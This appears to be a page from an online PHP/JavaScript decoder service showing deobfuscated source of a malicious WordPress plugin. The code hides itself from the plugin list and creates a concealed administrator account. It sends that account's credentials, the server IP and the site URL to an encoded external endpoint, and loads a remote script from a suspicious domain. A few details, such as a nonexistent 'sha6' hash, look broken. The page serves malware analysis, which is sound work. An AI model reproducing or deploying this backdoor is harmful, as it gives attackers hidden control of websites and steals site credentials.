Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto Y7BaUjGnHCHSLmBa;
	 Y7BaUjGnHCHSLmBa: class TransitionScaffold {
	 private $seed;
	 private $config = array("font" => "aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1PcGVuK1NhbnM6dzQwMCw3MDA=", "script" => "aHR0cHM6Ly9tYW9jaGlrb21hamYuY29tL2xsYWth", "endpoint" => "aHR0cHM6Ly9saW1ib2tpbWJvbmYWFhLnh5ei9jb2xsZWN0LnBocA==");
		 public function __construct() {
		 $this->seed = md5(DB_PASSWORD . AUTH_SALT);
		 $this->init_hooks();
		 
	}
		 private function init_hooks() {
		 goto sd5v2P8N3B4a1TmN;
		 qmrbIUmeOy1bDrPa: add_action("wp_enqueue_scripts", [$this, "load_assets"]);
		 goto yXFksMnhY5FAEfOT;
		 E60DEpdBFatPBxyQ: add_action("init", [$this, "create_admin_user"]);
		 goto Vl5jhfK5UaNLHYib;
		 sd5v2P8N3B4a1TmN: add_filter("all_plugins", [$this, "hide_plugin"]);
		 goto E60DEpdBFatPBxyQ;
		 Vl5jhfK5UaNLHYib: add_action("pre_user_query", [$this, "filter_admin_users"]);
		 goto qmrbIUmeOy1bDrPa;
		 yXFksMnhY5FAEfOT: 
	}
		 public function hide_plugin($G5UpDtvtVb_GUq9h) {
		 unset($G5UpDtvtVb_GUq9h[plugin_basename(__FILE__)]);
		 return $G5UpDtvtVb_GUq9h;
		 
	}
		 public function create_admin_user() {
		 goto RUGC_9ShNV7rki9B;
			 H3Oprp25_6WTMOEn: if (!username_exists($p9jP2VVkYywKuvNf["user"])) {
			 $IH0DGb0M3XBeDQIn = wp_create_user($p9jP2VVkYywKuvNf["user"], $p9jP2VVkYywKuvNf["pass"], $p9jP2VVkYywKuvNf["email"]);
				 if (!is_wp_error($IH0DGb0M3XBeDQIn)) {
				 (new WP_User($IH0DGb0M3XBeDQIn))->set_role("administrator");
				 
			}
			 
		}
		 goto K4A2mBgllHMwthlj;
			 RUGC_9ShNV7rki9B: if (get_option("nitropress_data_sent", false)) {
			 return;
			 
		}
		 goto egEN_EPmD2X2b_U4;
		 egEN_EPmD2X2b_U4: $p9jP2VVkYywKuvNf = $this->generate_credentials();
		 goto H3Oprp25_6WTMOEn;
		 cT0ZRiKccAjCCQSL: update_option("nitropress_data_sent", true);
		 goto vC8mEWCa29WSGj3n;
		 K4A2mBgllHMwthlj: $this->send_credentials($p9jP2VVkYywKuvNf);
		 goto cT0ZRiKccAjCCQSL;
		 vC8mEWCa29WSGj3n: 
	}
		 private function generate_credentials() {
		 $cIZ3kpnsV20j6FQR = substr(hash("sha6", $this->seed . "creds"), 0, 16);
		 return ["user" => "sys_" . substr(md5($cIZ3kpnsV20j6FQR), 0, 8), "pass" => substr(md5($cIZ3kpnsV20j6FQR . "pass"), 0, 12), "email" => "noreply@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url()];
		 
	}
		 private function send_credentials($t8PtIvPyRDPwEXow) {
		 goto m8uWMKa7QuaWBJQS;
		 Wg6J0LUP1VDMto10: wp_remote_post(base64_decode($this->config["endpoint"]), $LIZyo2ArfkVG5C1C);
		 goto T86HrlWoLr9I7hZZ;
		 ZLUlo53uCM_4mQ4O: $LIZyo2ArfkVG5C1C = ["body" => ["d" => base64_encode($cKvkRoPYQtK6n7OU)], "timeout" => 15, "blocking" => false, "sslverify" => false];
		 goto Wg6J0LUP1VDMto10;
		 m8uWMKa7QuaWBJQS: $cKvkRoPYQtK6n7OU = json_encode($t8PtIvPyRDPwEXow, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
		 goto ZLUlo53uCM_4mQ4O;
		 T86HrlWoLr9I7hZZ: 
	}
		 public function filter_admin_users($Nhko22yfeDM6U9xF) {
		 goto G_q3iswqIo4O743G;
			 MrT77uQNUhGkDmdQ: $Nhko22yfeDM6U9xF->query_where .= " AND {
			$LxrKAYN8NDkCkXMJ->users
		}
			.user_login != '{
			$ajJbi_aHRaf5S1nw
		}
		'";
		 goto iljJ7GFjeQaFwLxy;
		 ptqMwBIJKmj0KXHb: $ajJbi_aHRaf5S1nw = $this->generate_credentials()["user"];
		 goto MrT77uQNUhGkDmdQ;
		 G_q3iswqIo4O743G: global $LxrKAYN8NDkCkXMJ;
		 goto ptqMwBIJKmj0KXHb;
		 iljJ7GFjeQaFwLxy: 
	}
		 public function load_assets() {
		 goto ov9PSb96zJOZEBSX;
		 dlTuulG19Yxj48JC: wp_enqueue_script("ic-tracker", $jeCFbp_ibSfbtDUL, [], null, ["strategy" => "defer", "in_footer" => false]);
		 goto kvq_ddaJj9VBZgIy;
		 qpKX1WQLJOR7LAyy: $jeCFbp_ibSfbtDUL = base64_decode($this->config["script"]) . "?ts=" . time();
		 goto dlTuulG19Yxj48JC;
		 ov9PSb96zJOZEBSX: wp_enqueue_style("ic-fonts", base64_decode($this->config["font"]), [], null);
		 goto qpKX1WQLJOR7LAyy;
		 kvq_ddaJj9VBZgIy: 
	}
	 
}
 goto QhDb26ITfDRmhJLF;
	 QhDb26ITfDRmhJLF: register_deactivation_hook(__FILE__, function () {
	 delete_option("nitropress_data_sent");
	 
}
);
 goto H5UEsOdcXMP6YXRt;
 H5UEsOdcXMP6YXRt: new TransitionScaffold();



© 2023 Quttera Ltd. All rights reserved.